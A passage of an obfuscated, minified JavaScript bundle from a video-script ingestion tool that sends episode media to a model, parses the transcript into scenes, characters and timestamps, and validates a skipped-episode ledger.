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","y2XVC2vK","ywrK","C3rHDgvZ"];return Ol=function(){return e},Ol()}var Iy=W(148),HA=Iy[W(135)](W(95),W(31))[W(135)](W(92),W(126))[W(38)](W(69),W(75))+`
313
+ `+Ey;function QA(e,t,n=W(49)){let o=W,i=t[o(87)]()?o(122)+t+`
314
+ `:o(41);return(n===o(49)?o(129)+e+o(51):o(129)+e+o(102))+o(90)+i}function bl(e,t){let n=W;return new S(e,{exitCode:X,errorCode:n(4),hint:n(111),data:{actual:t}})}function mn(e,t){e=e-0;let n=Ol(),o=n[e];if(mn.gvzNbS===void 0){var i=function(c){let a="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=",d="",p="";for(let l=0,f,u,y=0;u=c.charAt(y++);~u&&(f=l%4?f*64+u:u,l++%4)?d+=String.fromCharCode(255&f>>(-2*l&6)):0)u=a.indexOf(u);for(let l=0,f=d.length;l<f;l++)p+="%"+("00"+d.charCodeAt(l).toString(16)).slice(-2);return decodeURIComponent(p)};mn.rVtMKx=i,mn.XIRwsR={},mn.gvzNbS=!0}let r=n[0];mn.VEyRMQ!==r&&(mn.XIRwsR={},mn.VEyRMQ=r);let s=mn.XIRwsR[e];return s===void 0?(o=mn.rVtMKx(o),mn.XIRwsR[e]=o):o=s,o}var Rl=e=>{let t=W;return typeof e===t(37)?e[t(135)](/\u0000/g,""):Array[t(106)](e)?e[t(9)](Rl):pt(e)?Object[t(89)](Object[t(25)](e)[t(9)](([n,o])=>[n,Rl(o)])):e},pt=e=>typeof e===W(143)&&e!==null&&!Array[W(106)](e),te=e=>typeof e===W(37)?e[W(87)]():"",ze=e=>Array[W(106)](e)?e:[],Ay=e=>te(e),FA=e=>[...new Set(ze(e)[W(9)](Ay)[W(112)](Boolean))],xy=e=>{let t=W,n=[];for(let o of ze(e)){if(!pt(o))continue;let i=Ay(o[t(79)]);if(!i)continue;let r=te(o[t(130)]),s=n[t(20)](c=>c[t(79)]===i);s?!s[t(130)]&&r&&(s[t(130)]=r):n[t(113)]({name:i,description:r})}return n},YA=[W(93),W(64),W(109),W(50),W(117),W(86),W(110),W(46),W(67),W(84)],vl=e=>{let t=W;if(!pt(e))return;let n={apparent_gender:"",apparent_age:"",face_shape:"",brows_eyes:"",nose:"",mouth:"",skin_features:"",hair:"",build:"",persistent_marks:ze(e[t(2)])[t(9)](te)[t(112)](Boolean),voice:""};for(let o of YA)n[o]=te(e[o]);return n},Sy=e=>{let t=W;if(!e)return Number[t(77)];let n=e[t(82)](":")[t(9)](Number);return n[t(123)](o=>!Number[t(131)](o))?Number[t(77)]:n[t(132)]===2?n[0]*60+n[1]:n[t(132)]===3?n[0]*3600+n[1]*60+n[2]:Number[t(77)]},qA=(e,t)=>{let n=W;return e?t?e[n(135)](/[。!?;]+$/,"")+"\u3002"+t:e:t};function ZA(e){let t=W,n={synopsis:"",scenes:[],registry_delta:{new_entities:[],enrich:[],canonicalize:[]},open_threads:{opened:[],closed:[]}};if(!pt(e))return n;n[t(142)]=te(e[t(142)]);for(let r of ze(e[t(120)])){if(!pt(r))continue;let s={},c=te(r[t(5)]);c&&(s[t(5)]=c);let a=Co(r[t(98)]);a&&(s[t(98)]=a);let d=new Map;for(let g of ze(r[t(124)]))if(t(99)===t(115)){let w=_0x28f195[t(87)]()?t(122)+_0x3c282b+`
315
+ `:t(41);return(_0x5cc2cb===t(49)?t(129)+_0x5ec3ea+t(51):t(129)+_0x19d812+t(102))+t(90)+w}else{if(!pt(g))continue;let w=te(g[t(79)]);if(!w||dt(w))continue;let h=d[t(7)](w)??{name:w,states:[]};for(let _ of FA(g[t(153)]))h[t(153)][t(21)](_)||h[t(153)][t(113)](_);d[t(96)](w,h)}let p=[],l=new Set;for(let g of ze(r[t(104)])[t(9)](te)[t(112)](Boolean)){let w=g[t(12)](t(8))[t(135)](/\s+/g," ")[t(87)]();!w||l[t(127)](w)||(l[t(152)](w),p[t(113)](g[t(87)]()))}let f=[];for(let g of ze(r[t(65)])){if(!pt(g))continue;let w=qA(te(g[t(88)]),te(g[t(16)]));if(!w)continue;let h={kind:t(28),content:w},_=fr(g.ts);_&&(h.ts=_),f[t(113)](h)}for(let g of ze(r[t(34)]))if(t(107)!==t(107))!_0x2b34d2[t(130)]&&_0x254684&&(_0x20c8b3[t(130)]=_0x4e8978);else{if(!pt(g))continue;let w=te(g[t(144)]);if(w!==t(138)&&w!==t(78))continue;let h=te(g[t(136)]);if(!h)continue;let _={kind:w,content:h},x=te(g[t(94)]);x&&(_[t(94)]=x);let E=te(g[t(125)]);E&&(_[t(125)]=E);let A=fr(g.ts);A&&(_.ts=A),f[t(113)](_)}f[t(76)]((g,w)=>{let h=t;if(h(61)!==h(61))throw _0x507431(h(40)+_0x1ad531+h(150)+_0x539c10[h(0)]+")",[_0x3d1d43[h(45)](0,200)]);{let _=Sy(g.ts)-Sy(w.ts);return _!==0?_:g[h(144)]===h(28)&&w[h(144)]!==h(28)?-1:g[h(144)]!==h(28)&&w[h(144)]===h(28)?1:0}});let u={environment:s,characters:[...d[t(48)]()],props:p,anchors:f},y=te(r[t(91)]);y&&(u[t(91)]=y);let m=te(r[t(105)]);m&&(u[t(105)]=m),n[t(120)][t(113)](u)}let o=pt(e[t(24)])?e[t(24)]:{};for(let r of ze(o[t(53)])){if(!pt(r))continue;let s=te(r[t(79)]),c=te(r[t(144)]);if(!s||c!==t(133)&&c!==t(105)&&c!==t(81)||c===t(133)&&dt(s))continue;let a={name:s,kind:c,status:te(r[t(118)])===t(60)?t(60):t(68),importance:te(r[t(72)])===t(119)?t(119):t(6)},d=ze(r[t(108)])[t(9)](te)[t(112)](Boolean);d[t(132)]&&(a[t(108)]=d);let p=vl(r[t(58)]);p&&(a[t(58)]=p);let l=te(r[t(101)]);l&&(a[t(101)]=l);let f=te(r[t(62)]);f&&(a[t(62)]=f);let u=xy(r[t(153)]);u[t(132)]&&(a[t(153)]=u);let y=ze(r[t(42)])[t(9)](te)[t(112)](Boolean);y[t(132)]&&(a[t(42)]=y),n[t(24)][t(53)][t(113)](a)}for(let r of ze(o[t(73)])){if(!pt(r))continue;let s=te(r[t(79)]);if(!s)continue;let c={name:s},a=ze(r[t(22)])[t(9)](te)[t(112)](Boolean);a[t(132)]&&(c[t(22)]=a);let d=vl(r[t(44)]);if(d&&(c[t(44)]=d),pt(r[t(17)]))if(t(141)===t(32))_0x205ab8[t(113)]({name:_0x2c6987,description:_0x41492a});else{let y=vl(r[t(17)][t(134)]);y&&(c[t(17)]={profile:y,recognition_anchors:ze(r[t(17)][t(108)])[t(9)](te)[t(112)](Boolean)})}let p=te(r[t(101)]);p&&(c[t(101)]=p);let l=te(r[t(62)]);(l||c[t(17)]&&typeof r[t(62)]===t(37))&&(c[t(62)]=l);let f=ze(r[t(36)])[t(9)](te)[t(112)](Boolean);f[t(132)]&&(c[t(36)]=f);let u=xy(r[t(13)]);u[t(132)]&&(c[t(13)]=u),Object[t(18)](c)[t(132)]>1&&n[t(24)][t(73)][t(113)](c)}for(let r of ze(o[t(80)]))if(t(63)!==t(26)){if(!pt(r))continue;let s=te(r[t(59)]),c=te(r[t(29)]);s&&c&&n[t(24)][t(80)][t(113)]({from_name:s,canonical_name:c,evidence:te(r[t(43)])})}else{if(!_0x28a036(_0x2159b7))return;let s={apparent_gender:"",apparent_age:"",face_shape:"",brows_eyes:"",nose:"",mouth:"",skin_features:"",hair:"",build:"",persistent_marks:_0x1c031e(_0x44c2c3[t(2)])[t(9)](_0x27b370)[t(112)](_0x19b9b9),voice:""};for(let c of _0x250303)s[c]=_0x4445(_0x416699[c]);return s}let i=pt(e[t(145)])?e[t(145)]:{};for(let r of ze(i[t(97)]))if(t(140)===t(140)){if(!pt(r))continue;let s=te(r[t(14)]);s&&n[t(145)][t(97)][t(113)]({text:s})}else{let s=_0x1d0009(_0x5217a9.ts)-_0xe2352c(_0x560256.ts);return s!==0?s:_0x19269b[t(144)]===t(28)&&_0x4b8995[t(144)]!==t(28)?-1:_0x8fb93a[t(144)]!==t(28)&&_0xc64c1f[t(144)]===t(28)?1:0}for(let r of ze(i[t(151)])){if(t(30)===t(57))return new _0x5753a7(_0x470b23,{exitCode:_0x6caba4,errorCode:t(4),hint:t(111),data:{actual:_0x391dd4}});{if(!pt(r))continue;let s=te(r[t(128)]);s&&n[t(145)][t(151)][t(113)]({ref:s})}}return n}async function ky(e,t,n,o,i,{format:r=W(49),signal:s,local:c,onTimestampMissing:a}={}){let d=W,p=r===d(49),l="";for(let f=0;;f++)if(d(56)!==d(3)){let u=await e[d(66)]({media:t,system:p?HA:Iy,user:QA(n,o+l,r),fps:i,...p?{acceptsText:_y}:{responseJsonSchema:qg},...c?{localPath:c[d(83)],localMime:c[d(54)]}:{},...s?{signal:s}:{}}),y=u[d(14)][d(87)]();if(y[d(132)]<40)throw bl(d(40)+n+d(19)+u[d(0)]+")",[d(15)+y[d(132)]]);let m;try{m=p?kl(y)[d(114)]:JSON[d(100)](y)}catch{if(d(10)!==d(33))throw bl(d(40)+n+d(150)+u[d(0)]+")",[y[d(45)](0,200)]);_0x2ba042[d(153)][d(21)](_0x38f37b)||_0x210b20[d(153)][d(113)](_0x35eab7)}let g=Rl(m),w=ZA(g);if(w[d(120)][d(132)]===0)throw bl(d(40)+n+d(139),[y[d(45)](0,200)]);let h=w[d(120)][d(85)]((x,E)=>x[d(121)][d(85)]((A,k)=>A.ts?[]:[d(146)+E+d(70)+k+d(52)+A[d(144)]+")"]));if(h[d(132)]>0)if(d(103)!==d(103)){let x=_0x4ae78c(_0x4cb0aa[d(17)][d(134)]);x&&(_0x1e843b[d(17)]={profile:x,recognition_anchors:_0x4a05d2(_0x2260df[d(17)][d(108)])[d(9)](_0x22caa4)[d(112)](_0x270eae)})}else{if(a?.({event:d(47),at:new Date()[d(71)](),episode:n,attempt:f+1,missing_count:h[d(132)],missing_paths:h,retries_exhausted:f===3}),f===3)throw new S(d(23)+n+": "+h[d(132)]+d(27),{exitCode:X,errorCode:d(149),hint:d(11),data:{actual:h}});l=d(137)+h[d(132)]+d(147)+h[d(74)]("\u3001")+d(39)+d(p?116:55)+d(1);continue}return{transcript:p?y[d(135)](/\u0000/g,""):JSON[d(35)](g,null,2),output:w}}else _0x22a139=_0x2af6a8?_0x1bbcff(_0x2b6a02)[d(114)]:_0x487dae[d(100)](_0x12e947)}function oc(e){return new S("The video skip ledger is invalid.",{exitCode:b,errorCode:"INGEST_SKIP_LEDGER_INVALID",hint:"Repair or remove skipped.json, then retry.",data:{actual:[e]}})}function WA(e){if(typeof e!="object"||e===null||Array.isArray(e))return null;let t=e;if(!Number.isInteger(t.episode)||Number(t.episode)<=0||typeof t.skipped_at!="string"||typeof t.reason!="string"||t.reason.trim().length===0||typeof t.source_sha256!="string"||t.source_sha256.length===0||!Array.isArray(t.attempts))return null;let n=ls(t.failure);if(!n)return null;let o=[];for(let i of t.attempts){let r=ls(i);if(!r)return null;o.push(r)}return{episode:Number(t.episode),skipped_at:t.skipped_at,reason:t.reason,source_sha256:t.source_sha256,failure:n,attempts:o}}function Ml(e){if(!e.has("skipped.json"))return{schema_version:1,episodes:[]};let t=e.readJson("skipped.json");if(typeof t!="object"||t===null||Array.isArray(t))throw oc("root must be an object");let n=t;if(n.schema_version!==1||!Array.isArray(n.episodes))throw oc("schema_version must be 1 and episodes must be an array");let o=[],i=new Set;for(let r of n.episodes){let s=WA(r);if(!s)throw oc("one or more episode records are malformed");if(i.has(s.episode))throw oc(`episode ${s.episode} appears more than once`);i.add(s.episode),o.push(s)}return o.sort((r,s)=>r.episode-s.episode),{schema_version:1,episodes:o}}function by(e,t){e.writeJson("skipped.json",t)}function ic(e,t){let n=new Map(t.map(o=>[o.episode,o.sha256]));for(let o of e){let i=n.get(o.episode);if(i!==o.source_sha256)throw new S("The video skip ledger no longer matches the source.",{exitCode:b,errorCode:"INGEST_SKIP_SOURCE_MISMATCH",hint:"Restore the source episode recorded by this workspace, or rebuild the same source with --force.",data:{actual:[`episode=${o.episode}`,`ledger_sha256=${o.source_sha256}`,`source_sha256=${i??"<missing>"}`]}})}}function XA(e){return{episode:e,synopsis:"",scenes:[],actors:[],locations:[],props:[],speakers:[],actorStates:[],locationStates:[],propStates:[]}}function rc(e,t,n,o){let i=new Set(o.map(s=>s.episode)),r=[];for(let s of t){if(s.episode>n)break;let c=`ep/ep_${String(s.episode).padStart(3,"0")}.json`;e.has(c)?r.push(e.readJson(c)):i.has(s.episode)&&r.push(XA(s.episode))}return r}function ms(e,t,n){for(let i of n)i.episode<=t.lastEpisode&&e.clearError(`ep/ep_${String(i.episode).padStart(3,"0")}.error.json`);let o=new Map(n.map(i=>[i.episode,i]));for(;;){let i=t.lastEpisode+1;if(!o.has(i))break;vh(t,i),e.writeJson("context.json",t),e.clearError(`ep/ep_${String(i).padStart(3,"0")}.error.json`)}return t}function vy(e,t){for(let n of t){let o=e.episodes[n.episode-1];o&&(o.extend={scriptctl:{ingest:{outcome:"skipped",source_episode:n.episode}}})}}var gs="19",ek=new Set([gs]),ki=e=>String(e).padStart(3,"0"),Ll=2;function Ry(e){try{return kt.statSync(e).size}catch{return 0}}function tk(e,t){let n=Ry(e);if(!(n<Kd))throw new S(`Episode ${t} is too large for inline base64 video 